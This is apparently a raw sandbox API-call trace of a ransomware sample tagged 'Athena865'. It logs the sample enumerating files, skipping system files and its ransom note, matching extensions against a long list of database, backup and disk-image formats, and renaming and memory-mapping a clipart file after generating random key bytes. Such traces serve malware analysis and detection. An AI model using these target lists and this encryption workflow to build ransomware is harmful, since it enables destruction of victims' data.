[0128.984] lstrcmpiW (lpString1="9975.WMF", lpString2="daschema") returned -1 [0128.984] lstrlenW (lpString="db-journal") returned 10 [0128.984] lstrcmpiW (lpString1="239975.WMF", lpString2="db-journal") returned -1 [0128.984] lstrlenW (lpString="db-shm") returned 6 [0128.984] lstrcmpiW (lpString1="75.WMF", lpString2="db-shm") returned -1 [0128.984] lstrlenW (lpString="db-wal") returned 6 [0128.984] lstrcmpiW (lpString1="75.WMF", lpString2="db-wal") returned -1 [0128.984] lstrlenW (lpString="dbc") returned 3 [0128.984] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.984] lstrlenW (lpString="dbs") returned 3 [0128.984] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.984] lstrlenW (lpString="dbt") returned 3 [0128.984] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.984] lstrlenW (lpString="dbv") returned 3 [0128.984] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.984] lstrlenW (lpString="dbx") returned 3 [0128.984] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.984] lstrlenW (lpString="dcb") returned 3 [0128.984] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.984] lstrlenW (lpString="dct") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.985] lstrlenW (lpString="dcx") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.985] lstrlenW (lpString="ddl") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.985] lstrlenW (lpString="dlis") returned 4 [0128.985] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.985] lstrlenW (lpString="dp1") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.985] lstrlenW (lpString="dqy") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.985] lstrlenW (lpString="dsk") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.985] lstrlenW (lpString="dsn") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.985] lstrlenW (lpString="dtsx") returned 4 [0128.985] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.985] lstrlenW (lpString="dxl") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.985] lstrlenW (lpString="eco") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.985] lstrlenW (lpString="ecx") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.985] lstrlenW (lpString="edb") returned 3 [0128.985] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.985] lstrlenW (lpString="epim") returned 4 [0128.985] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.985] lstrlenW (lpString="fcd") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.986] lstrlenW (lpString="fdb") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.986] lstrlenW (lpString="fic") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.986] lstrlenW (lpString="flexolibrary") returned 12 [0128.986] lstrlenW (lpString="fm5") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.986] lstrlenW (lpString="fmp") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.986] lstrlenW (lpString="fmp12") returned 5 [0128.986] lstrcmpiW (lpString1="5.WMF", lpString2="fmp12") returned -1 [0128.986] lstrlenW (lpString="fmpsl") returned 5 [0128.986] lstrcmpiW (lpString1="5.WMF", lpString2="fmpsl") returned -1 [0128.986] lstrlenW (lpString="fol") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.986] lstrlenW (lpString="fp3") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.986] lstrlenW (lpString="fp4") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.986] lstrlenW (lpString="fp5") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.986] lstrlenW (lpString="fp7") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.986] lstrlenW (lpString="fpt") returned 3 [0128.986] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.986] lstrlenW (lpString="frm") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.987] lstrlenW (lpString="gdb") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.987] lstrlenW (lpString="gdb") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.987] lstrlenW (lpString="grdb") returned 4 [0128.987] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.987] lstrlenW (lpString="gwi") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.987] lstrlenW (lpString="hdb") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.987] lstrlenW (lpString="his") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.987] lstrlenW (lpString="ib") returned 2 [0128.987] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.987] lstrlenW (lpString="idb") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.987] lstrlenW (lpString="ihx") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.987] lstrlenW (lpString="itdb") returned 4 [0128.987] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.987] lstrlenW (lpString="itw") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.987] lstrlenW (lpString="jet") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.987] lstrlenW (lpString="jtx") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.987] lstrlenW (lpString="kdb") returned 3 [0128.987] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.988] lstrlenW (lpString="kexi") returned 4 [0128.988] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.988] lstrlenW (lpString="kexic") returned 5 [0128.988] lstrcmpiW (lpString1="5.WMF", lpString2="kexic") returned -1 [0128.988] lstrlenW (lpString="kexis") returned 5 [0128.988] lstrcmpiW (lpString1="5.WMF", lpString2="kexis") returned -1 [0128.988] lstrlenW (lpString="lgc") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.988] lstrlenW (lpString="lwx") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.988] lstrlenW (lpString="maf") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.988] lstrlenW (lpString="maq") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.988] lstrlenW (lpString="mar") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.988] lstrlenW (lpString="marshal") returned 7 [0128.988] lstrcmpiW (lpString1="975.WMF", lpString2="marshal") returned -1 [0128.988] lstrlenW (lpString="mas") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.988] lstrlenW (lpString="mav") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.988] lstrlenW (lpString="maw") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.988] lstrlenW (lpString="mdbhtml") returned 7 [0128.988] lstrcmpiW (lpString1="975.WMF", lpString2="mdbhtml") returned -1 [0128.988] lstrlenW (lpString="mdn") returned 3 [0128.988] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.989] lstrlenW (lpString="mdt") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.989] lstrlenW (lpString="mfd") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.989] lstrlenW (lpString="mpd") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.989] lstrlenW (lpString="mrg") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.989] lstrlenW (lpString="mud") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.989] lstrlenW (lpString="mwb") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.989] lstrlenW (lpString="myd") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.989] lstrlenW (lpString="ndf") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.989] lstrlenW (lpString="nnt") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.989] lstrlenW (lpString="nrmlib") returned 6 [0128.989] lstrcmpiW (lpString1="75.WMF", lpString2="nrmlib") returned -1 [0128.989] lstrlenW (lpString="ns2") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.989] lstrlenW (lpString="ns3") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.989] lstrlenW (lpString="ns4") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.989] lstrlenW (lpString="nsf") returned 3 [0128.989] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.990] lstrlenW (lpString="nv") returned 2 [0128.990] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.990] lstrlenW (lpString="nv2") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.990] lstrlenW (lpString="nwdb") returned 4 [0128.990] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.990] lstrlenW (lpString="nyf") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.990] lstrlenW (lpString="odb") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.990] lstrlenW (lpString="odb") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.990] lstrlenW (lpString="oqy") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.990] lstrlenW (lpString="ora") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.990] lstrlenW (lpString="orx") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.990] lstrlenW (lpString="owc") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.990] lstrlenW (lpString="p96") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.990] lstrlenW (lpString="p97") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.990] lstrlenW (lpString="pan") returned 3 [0128.990] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.991] lstrlenW (lpString="pdb") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.991] lstrlenW (lpString="pdm") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.991] lstrlenW (lpString="pnz") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.991] lstrlenW (lpString="qry") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.991] lstrlenW (lpString="qvd") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.991] lstrlenW (lpString="rbf") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.991] lstrlenW (lpString="rctd") returned 4 [0128.991] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.991] lstrlenW (lpString="rod") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.991] lstrlenW (lpString="rodx") returned 4 [0128.991] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.991] lstrlenW (lpString="rpd") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.991] lstrlenW (lpString="rsd") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.991] lstrlenW (lpString="sas7bdat") returned 8 [0128.991] lstrcmpiW (lpString1="9975.WMF", lpString2="sas7bdat") returned -1 [0128.991] lstrlenW (lpString="sbf") returned 3 [0128.991] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.992] lstrlenW (lpString="scx") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.992] lstrlenW (lpString="sdb") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.992] lstrlenW (lpString="sdc") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.992] lstrlenW (lpString="sdf") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.992] lstrlenW (lpString="sis") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.992] lstrlenW (lpString="spq") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.992] lstrlenW (lpString="te") returned 2 [0128.992] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.992] lstrlenW (lpString="teacher") returned 7 [0128.992] lstrcmpiW (lpString1="975.WMF", lpString2="teacher") returned -1 [0128.992] lstrlenW (lpString="tmd") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.992] lstrlenW (lpString="tps") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.992] lstrlenW (lpString="trc") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.992] lstrlenW (lpString="trc") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.992] lstrlenW (lpString="trm") returned 3 [0128.992] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.993] lstrlenW (lpString="udb") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.993] lstrlenW (lpString="udl") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.993] lstrlenW (lpString="usr") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.993] lstrlenW (lpString="v12") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.993] lstrlenW (lpString="vis") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.993] lstrlenW (lpString="vpd") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.993] lstrlenW (lpString="vvv") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.993] lstrlenW (lpString="wdb") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.993] lstrlenW (lpString="wmdb") returned 4 [0128.993] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.993] lstrlenW (lpString="wrk") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.993] lstrlenW (lpString="xdb") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.993] lstrlenW (lpString="xld") returned 3 [0128.993] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.993] lstrlenW (lpString="xmlff") returned 5 [0128.993] lstrcmpiW (lpString1="5.WMF", lpString2="xmlff") returned -1 [0128.993] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.Athena865") returned 73 [0128.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.athena865"), dwFlags=0x1) returned 1 [0128.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.995] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3488) returned 1 [0128.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.995] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.996] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.996] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.996] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a0, lpName=0x0) returned 0x154 [0129.000] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10a0) returned 0x100000 [0129.002] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.008] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.009] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.012] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.012] CloseHandle (hObject=0x154) returned 1 [0129.013] CloseHandle (hObject=0x17c) returned 1 [0129.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.016] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0129.016] lstrcmpiW (lpString1="J0239997.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.016] lstrcmpiW (lpString1="J0239997.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.017] lstrcmpiW (lpString1="J0239997.WMF", lpString2=".") returned 1 [0129.017] lstrcmpiW (lpString1="J0239997.WMF", lpString2="..") returned 1 [0129.017] lstrcmpiW (lpString1="J0239997.WMF", lpString2="windows") returned -1 [0129.017] lstrcmpiW (lpString1="J0239997.WMF", lpString2="bootmgr") returned 1 [0129.019] lstrcmpiW (lpString1="J0239997.WMF", lpString2="temp") returned -1 [0129.019] lstrcmpiW (lpString1="J0239997.WMF", lpString2="pagefile.sys") returned -1 [0129.020] lstrcmpiW (lpString1="J0239997.WMF", lpString2="boot") returned 1 [0129.020] lstrcmpiW (lpString1="J0239997.WMF", lpString2="ids.txt") returned 1 [0129.020] lstrcmpiW (lpString1="J0239997.WMF", lpString2="ntuser.dat") returned -1 [0129.020] lstrcmpiW (lpString1="J0239997.WMF", lpString2="perflogs") returned -1 [0129.020] lstrcmpiW (lpString1="J0239997.WMF", lpString2="MSBuild") returned -1 [0129.020] lstrlenW (lpString="J0239997.WMF") returned 12 [0129.020] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239997.WMF" | out: lpString1="J0239997.WMF") returned="J0239997.WMF" [0129.020] lstrlenW (lpString="J0239997.WMF") returned 12 [0129.020] lstrlenW (lpString="Athena865") returned 9 [0129.020] lstrcmpiW (lpString1="39997.WMF", lpString2="Athena865") returned -1 [0129.020] lstrlenW (lpString=".dll") returned 4 [0129.020] lstrcmpiW (lpString1="J0239997.WMF", lpString2=".dll") returned 1 [0129.021] lstrlenW (lpString=".lnk") returned 4 [0129.021] lstrcmpiW (lpString1="J0239997.WMF", lpString2=".lnk") returned 1 [0129.021] lstrlenW (lpString=".ini") returned 4 [0129.021] lstrcmpiW (lpString1="J0239997.WMF", lpString2=".ini") returned 1 [0129.021] lstrlenW (lpString=".sys") returned 4 [0129.021] lstrcmpiW (lpString1="J0239997.WMF", lpString2=".sys") returned 1 [0129.021] lstrlenW (lpString="J0239997.WMF") returned 12 [0129.022] lstrlenW (lpString="bak") returned 3 [0129.022] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.022] lstrlenW (lpString="ba_") returned 3 [0129.022] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.022] lstrlenW (lpString="dbb") returned 3 [0129.023] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.023] lstrlenW (lpString="vmdk") returned 4 [0129.023] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.023] lstrlenW (lpString="rar") returned 3 [0129.023] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.023] lstrlenW (lpString="zip") returned 3 [0129.023] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.023] lstrlenW (lpString="tgz") returned 3 [0129.023] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.023] lstrlenW (lpString="vbox") returned 4 [0129.024] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.025] lstrlenW (lpString="vdi") returned 3 [0129.025] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.025] lstrlenW (lpString="vhd") returned 3 [0129.025] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.025] lstrlenW (lpString="vhdx") returned 4 [0129.025] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.025] lstrlenW (lpString="avhd") returned 4 [0129.025] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.025] lstrlenW (lpString="db") returned 2 [0129.026] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.027] lstrlenW (lpString="db2") returned 3 [0129.027] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.027] lstrlenW (lpString="db3") returned 3 [0129.027] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.027] lstrlenW (lpString="dbf") returned 3 [0129.027] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.027] lstrlenW (lpString="mdf") returned 3 [0129.027] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.027] lstrlenW (lpString="mdb") returned 3 [0129.028] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.029] lstrlenW (lpString="sql") returned 3 [0129.029] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.029] lstrlenW (lpString="sqlite") returned 6 [0129.029] lstrcmpiW (lpString1="97.WMF", lpString2="sqlite") returned -1 [0129.029] lstrlenW (lpString="sqlite3") returned 7 [0129.029] lstrcmpiW (lpString1="997.WMF", lpString2="sqlite3") returned -1 [0129.029] lstrlenW (lpString="sqlitedb") returned 8 [0129.029] lstrcmpiW (lpString1="9997.WMF", lpString2="sqlitedb") returned -1 [0129.029] lstrlenW (lpString="xml") returned 3 [0129.029] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.029] lstrlenW (lpString="$er") returned 3 [0129.029] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.029] lstrlenW (lpString="4dd") returned 3 [0129.029] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.029] lstrlenW (lpString="4dl") returned 3 [0129.029] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.029] lstrlenW (lpString="^^^") returned 3 [0129.029] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.029] lstrlenW (lpString="abs") returned 3 [0129.029] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.029] lstrlenW (lpString="abx") returned 3 [0129.030] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.030] lstrlenW (lpString="accdb") returned 5 [0129.030] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0129.030] lstrlenW (lpString="accdc") returned 5 [0129.030] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0129.030] lstrlenW (lpString="accde") returned 5 [0129.030] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0129.030] lstrlenW (lpString="accdr") returned 5 [0129.030] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0129.030] lstrlenW (lpString="accdt") returned 5 [0129.030] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0129.030] lstrlenW (lpString="accdw") returned 5 [0129.030] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0129.030] lstrlenW (lpString="accft") returned 5 [0129.030] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0129.030] lstrlenW (lpString="adb") returned 3 [0129.030] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.030] lstrlenW (lpString="adb") returned 3 [0129.030] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.030] lstrlenW (lpString="ade") returned 3 [0129.030] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.030] lstrlenW (lpString="adf") returned 3 [0129.030] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.030] lstrlenW (lpString="adn") returned 3 [0129.030] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.030] lstrlenW (lpString="adp") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.031] lstrlenW (lpString="alf") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.031] lstrlenW (lpString="ask") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.031] lstrlenW (lpString="btr") returned 3 